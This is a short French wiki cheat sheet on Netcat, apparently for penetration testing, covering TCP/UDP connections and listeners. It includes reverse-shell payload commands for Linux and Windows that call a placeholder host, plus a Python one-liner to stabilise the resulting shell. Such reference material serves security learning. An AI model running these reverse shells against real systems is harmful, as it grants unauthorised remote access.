# [Exploitation/Réseau] Netcat

## Introduction

**Netcat** est un outil en ligne de commande qui permet de travailler sur des connexions réseaux **TCP** et **UDP**.

Il peut être utile pour diagnostiquer ou se connecter à des applications rustiques utilisant des **sockets** traditionnels.

[![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2023-12/scaled-1680-/ZFIimage.png)](https://wiki.neopipe.fr/uploads/images/gallery/2023-12/ZFIimage.png)

## Manuel

#### Connexion TCP

```bash
nc <IP> <PORT>
```

#### Connexion UDP

```bash
nc -u <IP> <PORT>
```

#### Listener TCP

```bash
nc -lvp <PORT>
```

#### Listener UDP

```bash
nc -luvp <PORT>
```

#### Payload reverse shell

- Linux :

```bash
nc <IP> <PORT> –e /bin/bash
```

- Windows :

```bash
nc <IP> <PORT> –e cmd.exe
```

## Stabiliser votre shell

Afin de stabiliser votre shell et le rendre un peu plus ergonomique, notamment en affichant un plus beau prompt, vous pouvez utiliser la commande suivante pour faire spawn un **PTY** :

```bash
python -c 'import pty; pty.spawn("/bin/sh")'
```

## Cheat-sheet

[![image.png](https://wiki.neopipe.fr/uploads/images/gallery/2025-02/scaled-1680-/image.png)](https://wiki.neopipe.fr/uploads/images/gallery/2025-02/image.png)